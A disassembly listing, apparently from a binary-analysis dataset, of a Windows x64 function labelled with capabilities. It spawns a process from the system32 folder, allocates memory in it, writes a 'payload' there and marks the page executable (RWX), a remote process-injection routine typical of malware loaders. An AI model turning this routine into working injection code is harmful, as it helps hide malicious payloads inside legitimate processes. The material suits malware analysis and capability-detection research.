Function at 0x140016be0
Capabilities:
Allocate or change rwx memory
Create process on windows
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x14003d040]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov rbx, rcx
xor edi, edi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
mov dword [rbp + 0x34], eax
mov dword [rbp - 0x30], 0x68
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rax
mov r8d, 0x104
lea rdx, [rbp + 0x40]
lea rcx, str.WINDIR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x140016fb9
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rax, [rbp + 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140016c80
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140002ea0
nop
mov r8d, 0xa
lea rdx, str._system32_
lea rcx, [rsp + 0x70]
call fcn.140005340
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [0x14003d0f0]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14003d0f0]
mov r8, qword [0x14003d100]
lea rcx, [rsp + 0x50]
call fcn.140005340
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140016d75
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016d70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140016d70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002cba4
movdqa xmm0, xmmword [0x140033b60]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140016dc7
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016dc2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140016dc2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002cba4
movdqa xmm0, xmmword [0x140033b60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140016f76
mov rax, qword [rbp - 0x60]
mov dword [rbx], eax
mov rdx, qword [rbp - 0x70]
mov qword [rbx + 8], rdx
mov rcx, qword [rbp - 0x68]
mov qword [rbx + 0x10], rcx
test eax, eax
je 0x140016f76
test rdx, rdx
je 0x140016f76
test rcx, rcx
je 0x140016f76
call fcn.140004d50
mov ecx, dword [rbx]
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rdx
lea r9, str.process___s__has_been_created___i_
mov edx, 3
lea r8d, [rdx + 0xc]
mov rcx, rax
call fcn.14002ab30
movsxd r8, dword [0x140040f9c]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbx + 0x18], rax
test rax, rax
je 0x140016f76
call fcn.140004d50
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rcx
lea r9, str.memory_has_been_allocated____p
mov edx, 3
lea r8d, [rdx + 0xc]
mov rcx, rax
call fcn.14002ab30
movsxd r9, dword [0x140040f9c]
mov qword [rsp + 0x20], rdi
mov r8, qword [0x14003d0d8]
mov rdx, qword [rbx + 0x18]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140016f76
call fcn.140004d50
lea r9, str.payload_has_been_written
mov edx, 3
lea r8d, [rdx + 0xc]
mov rcx, rax
call fcn.14002ab30
mov dword [rbp - 0x58], edi
movsxd r8, dword [0x140040f9c]
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov rdx, qword [rbx + 0x18]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140016f76
call fcn.140004d50
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rcx
lea r9, str.page_has_been_set_to_rwx____p
mov edx, 3
lea r8d, [rdx + 0xc]
mov rcx, rax
call fcn.14002ab30
mov bl, 1
jmp 0x140016f78
xor bl, bl
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140016fb6
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016fb1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140016fb1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002cba4
movzx eax, bl
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.14002c7e0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret